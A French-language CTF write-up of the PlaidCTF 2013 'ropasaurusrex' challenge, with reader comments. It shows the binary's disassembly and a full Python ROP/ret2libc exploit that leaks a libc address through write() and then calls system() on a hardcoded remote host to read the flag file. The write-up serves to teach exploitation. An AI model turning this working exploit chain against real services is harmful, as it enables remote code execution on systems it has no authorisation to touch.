PlaidCTF 2013 > Ropasaurusrex - pwn 200
Un tout petit write-up sur le cas d'école du ropasaurusrex. C'est un exécutable classique, compilé pour x86. Sa libc est aussi fournie. Il commence à 0x804841d avec un workflow subtil à reverser :
804841d: push %ebp 804841e: mov %esp,%ebp 8048420: and $0xfffffff0,%esp 8048423: sub $0x10,%esp 8048426: call 80483f4 80483f4: push %ebp 80483f5: mov %esp,%ebp 80483f7: sub $0x98,%esp 80483fd: movl $0x100,0x8(%esp) 8048405: lea -0x88(%ebp),%eax 804840b: mov %eax,0x4(%esp) 804840f: movl $0x0,(%esp) 8048416: call 804832c <read@plt> 804841b: leave 804841c: ret 804842b: movl $0x4,0x8(%esp) 8048433: movl $0x8048510,0x4(%esp) 804843b: movl $0x1,(%esp) 8048442: call 804830c <write@plt> 8048447: leave 8048448: ret
C'est donc, comme son nom l'indique, une exploitation ROP, avec un read(0, ebp - 0x88, 0x100) et donc une longueur chaîne rop de 0x74 bytes max. Comme on a read et write dans la plt, on peut simplement leaker une adresse de la GOT pour avoir l'adresse de base de la libc et donc induire l'adresse de n'importe quelle fonction, ensuite, on redéclenche l'overflow en pouvant donc construire n'importe quelle chaîne ret2libc :
#!/usr/bin/python
import socket
import struct
import time
HOST = "54.234.151.114"
PORT = 1025
s = socket.socket()
s.connect((HOST, PORT))
print "[+] Connected"
# elf data
read_plt = 0x0804832c
write_plt = 0x0804830c
lsm_got = 0x8049618
relaunch = 0x080483f4
bss_buf = 0x08049628
pop3_ret = 0x80484b6
rop_stack = [ write_plt , relaunch, 1, lsm_got, 0x4 ]
s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack]))
found_lsm = struct.unpack("<I", s.recv(1024)[0:4])[0]
# libc data
lsm_offset = 0x00016bc0
system_offset = 0x00039450
libc_base = found_lsm - lsm_offset
system = libc_base + system_offset
print "[+] Founc libc base"
rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, system, relaunch, bss_buf ]
s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack]))
time.sleep(1)
print "[+] Injecting system() arg"
s.sendall("cat /home/ropasaurusrex/key")
while 1:
x = s.recv(1024)
if not x:
break
print x
D'où le flag : you_cant_stop_the_ropasaurusrex.
execve ne va pas marcher pareil. Il attends en argument des tableaux de chaines de caractères (comme argv et env). Essayer plutôt avec execl par exemple (et ne pas oublier le < du little endian dans le pack).
excellent write's up.
quand je change system avec execve l'exploit ne marche pas !
j'ai mis le ROP comme ca :
rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, execve, relaunch, bss_buf pack("I",0),pack("I",0)]
pouvez-vous me donner la raison ?
merci.